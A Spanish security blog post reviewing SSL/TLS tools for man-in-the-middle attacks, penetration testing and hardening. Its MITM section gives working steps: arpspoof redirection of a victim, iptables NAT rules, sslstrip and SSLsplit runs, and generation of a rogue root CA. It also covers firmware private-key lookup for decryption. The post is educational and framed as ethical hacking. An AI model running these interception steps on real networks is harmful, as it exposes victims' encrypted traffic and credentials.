En este blog informático está reflejada mi experiencia en el mundo de la informática. Mis publicaciones serán sobre seguridad informática e Internet. Las técnicas y herramientas aquí explicadas son para fomentar la seguridad de la información dentro de la filosofía del hacking ético. En línea desde 2005.

Herramientas de seguridad informática para el protocolo SSL.

Este post es una recopilación de herramientas de seguridad informática para el protocolo SSL. En concreto para tres tipos de técnicas: MITM (man-in-the-middle), Test de penetración y Hardening.



MITM (man-in-the-middle):


Para realizar la técnica de MiTM en SSL las herramientas: SSL Diagnos, Sslstrip, SSLsplit. y LittleBlackBox.

SSL Diagnos.

Diseñada para probar la seguridad de SSL y obtener información acerca de los protocolos SSL (pct, SSL2, SSL3, tls, DTLS) y conjuntos de cifrado utilizados en un servidor. También puede ser utilizado para probar y valorar el nivel de seguridad de los cifrados en clientes SSL.

Cuenta con un apoyo específico para los protocolos POP3S, SIP, SMTP y FTPS. Por otra parte incluye una herramienta independiente, SSLPressure, para comprobar todo el espectro de posibles protocolos SSL en un servidor.

SSL Diagnos se puede utilizar para probar el protocolo SSL en servidores Microsoft SQL Server y también permite realizar MitM en conexiones cliente servidor de Microsoft SQL Server.

Entre sus características destaca:

  • Incluye calificación de nivel de seguridad de cifrado SSL para el servidor y los clientes.
  • Test de cifrado SSL en: HTTPS, SMTP, SIP, POP3S, FTPS.
  • Puede ser utilizado para OWASP-CM-001.
  • Utiliza OpenSSL para probar SSL2, SSL3, TLS, DTLS, FTPS.
  • Pruebas de renegociación y disponibilidad de extensión de renegociación tls.
  • Las pruebas específicas para la mitigación de BEAST (CVE-2011-3389). Comprobación específicamente de la mitigación para Windows y OpenSSL.

Ejemplos básicos de empleo:

Obtener ayuda de uso del comando:

ssldiagnos.exe –help

Prueba el anfitrión www.hostname.org utilizando el puerto 443 (que es el valor predeterminado) y prueba enviar/recibir:

ssldiagnos.exe -t www.hostname.org --testsend -p 443

Prueba todos los tipos de negociación de cifrado SSL2 y SSL3 en 192.168.1.1:

sslpressure.exe -t 192.168.1.1

Más información y descarga de SSL Diagnos:
http://ssldiagnos.sourceforge.net/

Sslstrip.

Una herramienta para realizar ataques MITM en SSL, capaz de secuestrar el tráfico HTTPS de forma transparente en una red, ver los enlaces HTTPS, y a continuación, asignar esos vínculos a cualquiera semejanza de enlaces HTTP o HTTPS. También es compatible con los modos de suministro: de un favicon que se parece a un icono de bloqueo, login selectivo  y negación de la sesión.

Desempaquetar:

tar zxvf sslstrip-0.5.tar.gz


Instalación:
Se requiere Python 2.5 o más reciente, junto con el módulo de python ‘twisted’.

sudo apt-get install python-twisted-web


Ejecutar:

sudo python setup.py install


Sslstrip se puede ejecutar desde el directorio sin necesidad de instalación. Sólo se tiene que ejecutar 'python sslstrip.py -h' para obtener opciones de línea de comandos.

Para poner en marcha el ataque MITM en SSL, se siguen los siguientes pasos:

1) Poner la máquina en modo de transmisión (como root):
echo "1"> /proc/sys/net/ipv4/ip_forward

2) Configuración iptables para interceptar las peticiones HTTP (como root) :
iptables -t nat -A PREROUTING -p tcp - destination-port 80 -j REDIRECT - to- port 8080

3) Ejecutar sslstrip con las opciones de línea de comandos:
python sslstrip.py - 8080

4) Ejecutar arpspoof para redirigir el tráfico de la victima la máquina atacante (como root):
arpspoof -i -t <dispositivo de red> <ip destino a atacar> <ip del router>

Más información y descarga de sslstrip:
https://github.com/moxie0/sslstrip

SSLsplit.

Es una herramienta para ataques MITM (man-in- the-middle) en conexiones de red cifradas en SSL / TLS. Las conexiones se interceptan de forma transparente a través de un motor de traducción de dirección de red redirigido a SSLsplit. La herramienta termina SSL / TLS e inicia una nueva conexión SSL / TLS con la dirección original de destino, mientras se registran todos los datos transmitidos. SSLsplit está destinado al análisis forense de red y pruebas de penetración.

SSLsplit trabaja con los protocolo TCP, SSL, HTTP y HTTPS, a través de IPv4 e IPv6 . Para las conexiones SSL y HTTPS, genera certificados X509v3 sobre la marcha, con base en el certificado de servidor original Subject DN y extensión subjectAltName . SSLsplit apoya plenamente Name Server Indicación (SNI ) y es capaz de trabajar con RSA , DSA y las claves ECDSA, DHE y Suites de cifrado ECDHE. SSLsplit también pueden usar certificados existentes del que se disponga la clave privada, en lugar de generarlo. También soporta certificados NC NULL -prefix y puede denegar las solicitudes de OCSP de forma genérica. Elimina las cabeceras de respuesta HPKP con el fin de evitar el bloqueo de clave pública.

SSLsplit depende del OpenSSL y bibliotecas 2.x libevent. La instalación depende de GNU make y un ambiente POSIX.2 en `PATH '. Las pruebas unitarias opcionales dependen de la biblioteca de verificación.

SSLsplit actualmente soporta los siguientes sistemas operativos y mecanismos de NAT:

  • FreeBSD: rdr pf y desviar a , ipfw fwd , rdr ipfilter.
  • OpenBSD : pf rdr -to y divert-to.
  • Linux: REDIRECT netfilter y TPROXY.
  • Mac OS X : ipfw rdr fwd y pf ( experimental).

Instalación:

Para descargar y compilar SSLsplit, se ejecutan los siguientes comandos:

wget http://mirror.roe.ch/rel/sslsplit/sslsplit-0.4.7.tar.bz2
bunzip2 sslsplit-0.4.7.tar.bz2
tar xvf sslsplit-0.4.7.tar
cd sslsplit-0.4.7
make
apt- get install libssl-dev libevent-dev
mkdir /tmp/sslsplit


El directorio temporal creado en /tmp/sslsplit más tarde se utiliza para vaciar el archivo de registro de conexión y los datos brutos de los sockets SSL entrantes y salientes.

SSLsplit actua como un intermediario para conexiones SSL , debe ser capaz de generar y firmar los certificados que recibe la víctima. Para ello, la víctima debe tener certificado de CA raíz del atacante. En función del tipo de cliente (navegador de web , un teléfono móvil ) , la instalación de certificados raíz difiere un poco.

Si aún no dispone de una clave privada de la CA autofirmado y el certificado, puede generar uno usando los siguientes comandos:

openssl genrsa -out ca1.key 4096
openssl req -new -x509 -days 1826 -key ca1.key -out ca2.crt


El primer comando genera una clave privada RSA de 4096 bits en formato PEM (ca1.key ), y el segundo comando usa su clave privada para generar un certificado raíz CA autofirmado ( ca2.crt ) . Más tarde ambos son necesarios por SSLsplit, pero sólo el archivo del certificado tiene que ser instalado en el navegador o el sistema operativo de la víctima.

Desviar tráfico:

Ejecutar arpspoof para redirigir el tráfico de la víctima a la máquina atacante (como root):

arpspoof -i -t <dispositivo de red> <ip destino a atacar> <ip del router>

En este caso SSLsplit va a correr en dos puertos : 8080 para las conexiones TCP que no son SSL , tales como HTTP , SMTP o FTP, y 8443 para las conexiones SSL tales como SMTP sobre SSL , HTTPS, etc.  Se utiliza el NAT de iptables con el fin de enviar los paquetes que llegan a la máquina del atacante a estos puertos internos.

sysctl -w=1 net.ipv4.ip_forward
iptables -t nat -F
iptables -t nat -A PREROUTING -p tcp - dport 80 -j REDIRECT - to-ports 8080
iptables -t nat -A PREROUTING -p tcp - dport 443- j REDIRECT - to-ports 8443
iptables -t nat -A PREROUTING -p tcp - dport 587- j REDIRECT - to-ports 8443
iptables -t nat -A PREROUTING -p tcp - dport 465- j REDIRECT - to-ports 8443



En este ejemplo, ciertos paquetes se redirigen al puerto local 8080 y 8443. Paquetes para el tráfico de texto plano en los puertos HTTP ( 80 ),  se redirigen al puerto 8080 , y los paquetes para el tráfico basado en SSL en los puertos HTTPS ( 443 ), SMTP a través de SSL ( 465 y 587 ) son redirigidos al puerto 8443.

Ejecutar SSLsplit:

Una vez que el reenvío de IP está activo y los paquetes se está remitiendo a los puertos pertinentes, puede empezar SSLsplit . Para el caso de este ejemplo, una configuración de parámetro ajustada al caso sería algo como esto:

./sslsplit
-D
 -l connections.log
 -j /tmp/sslsplit/
-S logdir /
-k ca1.key
-C ca2.crt
ssl 0.0.0.0 8443
tcp 0.0.0.0 8080


Este comando inicia SSLsplit en modo de depuración (-D) y da salida de los intentos de conexión en el archivo de registro "connections.log" (-l) . El contenido real de las conexiones se escribe en el directorio "/tmp/sslsplit/logdir/" (-j  y -S) cada flujo TCP entrante/saliente de cada conexión en un archivo separado.

Más información y descarga:
https://github.com/droe/sslsplit

LittleBlackBox.

Muchos dispositivos de red, utilizan para cifrar sus conexiones SSL, llaves hard-coded almacenadas en su firmware, de esta forma, dos routers que tengan el mismo firmware utilizaran las mismas llaves para cifrar sus conexiones SSL. Esto significa que si capturamos la llave privada del firmware es posible descifrar todo el trafico encriptado en SSL.

Existe una herramienta llamada LittleBlackBox que contiene una base de datos donde se correlacionan llaves privadas de SLL, con sus respectivos certificados públicos, que corresponden a determinado hardware. Esta base de datos incluye más de 2 millones llaves privadas tanto de SSL como de SSH.

Con esta herramienta es posible identificar un dispositivo de red por su certificado público SSL. Además, dado un certificado público, la herramienta busca en la base de datos para considerar si tiene una llave privada correspondiente; si es así, la llave privada se puede utilizar con: Wireshark o SSLsniff, para descifrar tráfico o para realizar ataques de MITM.

Con LittleBlackBox podemos auditar la seguridad del cifrado SSL que utilizan nuestros dispositivos de red. Para mejorar la seguridad de cifrado SSL de nuestros dispositivos de red lo mejor es cambiar los certificados SSL que utilizan por defecto (esta medida es posible en muchos dispositivos).

Más información y descarga de LittleBlackBox:
http://code.google.com/p/littleblackbox/

Más información y descarga de Wireshark:
http://www.wireshark.org

Más información y descarga de SSLsniff:
http://www.thoughtcrime.org/software/sslsniff/


Test de penetración:


Para realizar test de penetración en el protocolo SSL las herramienas: SSLSmart, SSLDigger, SSLScan y SSL Audit.

SSLSmart.

Ofrece una amplia gama de características para mejorar la eficiencia de las pruebas y reducir los falsos positivos. Durante el saludo inicial SSL, el servidor web y el navegador negocian el conjunto de cifrado que se utilizará para el canal de comunicación. Si tanto el navegador y el servidor soportan un juego de cifrado común, se establece un canal de comunicación para la transferencia de datos. Si no, el resultado final es uno de los dos escenarios siguientes:

  • El servidor Web finaliza la conexión durante el saludo inicial y no se transfieren datos.
  • Servidor Web completa los datos mínimos del apretón de manos, transfiere en forma de una página de error y termina la conexión. Cualquier futuro intento con estos conjuntos de cifrado no compatibles, se encuentran con el mismo resultado.

Dado que se establece una conexión SSL completa y los datos se transfieren en el segundo escenario anterior, la mayoría de las herramientas de prueba de SSL (incluyendo escáneres comerciales) pueden concluir falsamente, que el conjunto de cifrado es compatible. Por tanto, es importante, que los que testean las vulnerabilidades puedan ver la respuesta del servidor real para cada conjunto de cifrado.

SSLSmart ofrece dos tipos diferentes de análisis para investigar y eliminar los falsos positivos debido a este comportamiento:

Content Scan (por defecto):
Respuesta del servidor exacta que se puede ver en HTML y Textforms para cada suite de cifrado seleccionada para la URL a probar.

Connect Scan:
Se centra sólo en el éxito o el fracaso de conexión de socket SSL con varios conjuntos de cifrado. Este comportamiento no ofrece ninguna ventaja sobre las herramientas de prueba SSL existentes y por lo tanto, es propenso a tener problemas similares con los falsos positivos. Sin embargo, esta exploración es más rápida y consume menos recursos de red y CPU.

Más información y descarga de SSLSmart:
http://www.mcafee.com/us/downloads/free-tools/sslsmart.aspx

SSLDigger.

Es una herramienta para evaluar la seguridad de los servidores SSL mediante pruebas de los cifrados soportados.

Características:

Soporte completo usando el control del navegador Microsoft Internet Explorer.
Apoyo para el funcionamiento de la herramienta en el modo por lotes, para operar en varios sitios al mismo tiempo. Una función muy útil para probar un gran número de sitios web . La entrada para que la herramienta procese, se proporciona, en este caso a través de un archivo de texto. El contenido de este archivo es simplemente los sitios web separados en líneas.

La herramienta es compatible con la presentación de informes en tres formatos diferentes. Un formato XML, que es compatible para proporcionar acceso a los datos brutos recogidos . El formato CSV, que permite al usuario abrir el informe en un programa de hoja de cálculo. El formato más gráfico es el código HTML, un informe que proporciona enlaces a las URLs que se han probado.

Más información y descarga de SSLDigger:
http://www.mcafee.com/us/downloads/free-tools/ssldigger.aspx

SSLScan.

Sirve para comprobar el tipo de cifrado SSL que utiliza un servicio. Es una herramienta para Linux que necesita el compilador GNU para C y la libreria OpenSSL.

Modo de empleo:

Comando:

sslscan [opciones] [host: puerto]

Opciones:

--targets=
Sirve para pasarle un archivo que contiene una lista de host para chequear. Los host se pueden suministrar con puertos puertos (es decir host: puerto).

--no-failed
No muestra los tipos de cifrado que no acepta el host.

--ssl2
Comprueba solamente el cifrado SSLv2.

--ssl3
Comprueba solamente el cifrado SSLv3.

--tls1
Comprueba solamente el cifrado TLSv1.

--pk=
Sirve para pasarle un archivo PKCS#12.

--pkpass=
La contraseña para PKCS#12.

--certs=
Pasarle un archivo que contiene PEM/ASN1.

--starttls
Introducir un STARTTLS para servicios smtp.

--HTTP
Prueba una conexión del HTTP.

-- bugs
Buscar bugs en SLL.

--xml=
Mostrar resultados de la salida en archivo de XML.

Más información y descarga de SSLScan:
https://www.titania.co.uk/index.php?option=com_content&view=article&id=56&Itemid=68

SSL Audit.

Es otra herramienta para comprobar el tipo de cifrado SSL. Que incorpora posibilidades de Fingerprint para identificar el motor SLL del servidor, esta última opción es experimental y según el autor reporta falsos positivos.

Identifica:

• IIS7.5 (Schannel).
• IIS7.0 (Schannel).
• IIS 6.0 (Schannel).
• Apache (Openssl).
• Apache (NSS).
• Certicom.
• RSA BSAFE.


Documentación de SSL Audit:
http://www.g-sec.lu/sslaudit/documentation.pdf

Descarga de SSL Audit:
http://www.g-sec.lu/sslaudit/sslaudit.zip


Hardening:


Dos aplicaciones una para Windows Harden SSL/TLS y otra para Linux Duraconf.

Harden SSL/TLS.

Una aplicación que permite mejorar la seguridad de SSL/TLS de las versiones de Windows 2000, 2003, 2008, 2008 R2, XP, Vista y 7. Esta aplicación permite establecer a nivel local y remota políticas basadas en permitir o denegar ciertos hashes o conjuntos de cifrado, establecer prioridades y modificar parámetros de la caché de sesión TLS.

Harden SSL / TLS permite realizar políticas específicas de ajuste con respecto a los cifrados y los protocolos que estén disponibles para aplicaciones que utilizan el interfaz SCHANNEL de criptografía, ya sean aplicaciones cliente o servidor. Una gran cantidad de aplicaciones de Windows utilizan esta interfaz, por ejemplo: Google Chrome, Safari de Apple… Al cambiar la configuración indirectamente se puede controlar que cifrados pueden utilizar estas aplicaciones. Teniendo en cuenta que una aplicación puede solicitar un conjunto específico de sistemas de cifrado, y si se ha desactivado este conjunto ya no puede usarlo.

En el modo avanzado de esta aplicación permite:

Habilitar el modo ECC P521; Microsoft eliminó el modo ECC P521 después de Vista y Server 2008, esta opción permite volver a habilitar y volver a introducir el modo ECC P521 para Windows 7 y Server 2008R2.

Habilitar soporte módulo 1; Cuando un servidor Web utiliza un certificado con un exponente 1 de clave pública RSA, el exponente de la clave privada también se pone a 1. Si estas condiciones están presentes, la conexión no tiene la seguridad de encriptación. Al habilitar esta se configura el cliente para permitir una conexión a un servidor Web que utiliza un certificado con un exponente 1 de clave pública RSA.

Modificar el tiempo de la cache TLS / SSL; Una de las razones para cambiar el valor predeterminado de la caché de sesión SSL es obligar al cliente a autenticar con más frecuencia. El frecuente almacenamiento en caché es útil a veces, por ejemplo, si se desea reducir el esfuerzo computacional o si se sabe que el cliente está utilizando una tarjeta inteligente y desea que la página web sea accesible sólo cuando el usuario inserta la tarjeta inteligente en el lector.

Tamaño de la cache TLS / SSL; IIS mantiene los objetos en memoria para el seguimiento de cada conexión a la web de entrada. Después de cinco minutos de tiempo de inactividad, estos objetos son destruidos para reclamar los recursos. Durante este proceso, IIS purga el ID de sesión SSL / TLS de la tabla sesión ID de la caché del sistema operativo. IIS también purga toda la información de conexión que se negocia entre el cliente y el servidor. Cuando un cliente intenta reanudar una sesión de SSL / TLS mediante el identificador de sesión anterior, el servidor no puede encontrar la información de conexión en la memoria caché. Por lo tanto, el cliente debe renegociar la conexión. Además, el cliente debe obtener un nuevo identificador de sesión. El aumento del tamaño de la caché puede reducir la carga de la CPU, pero aumenta el uso de memoria, cada elemento de caché de la sesión normalmente requiere de 2 a 4 Kb de memoria.

Más información de Harden SSL / TLS:
http://www.g-sec.lu/sslharden/documentation.pdf

Descarga de Harden SSL / TLS:
http://www.g-sec.lu/sslharden/HardenSSL.zip

Duraconf.

Una colección de archivos de configuración para hardening de servicios SSL/TLS en Linux. Desafortunadamente, no es posible implementar una configuración de cifrado optimo para todas las aplicaciones. Hay muchos programas diferentes que aplican diferentes versiones de bibliotecas que tienen diferentes sistemas de cifrado. De hecho, a diferentes versiones del mismo programa pueden estar vinculados contra diferentes bibliotecas que tienen diferentes sistemas de cifrado. Pero si es posible afinar la configuración con Duraconf que posee archivos de configuraciones especificas para los servicios SSL:

  • varnish.
  • stunnel.
  • ejabberd.
  • MTAs (postfix, exim, etc.).
  • IPSec.
  • imap/pop (courier/dovecot).
  • openssh.

Más información y descarga de Duraconf:
https://github.com/ioerror/duraconf
Herramientas de seguridad informática para el protocolo SSL. Herramientas de seguridad informática para el protocolo SSL. Reviewed by Álvaro Paz on miércoles, abril 01, 2015 Rating: 5
Publicar un comentario
Este Blog sobre Seguridad Informática está bajo una licencia de Creative Commons, Álvaro Paz. Con la tecnología de Blogger.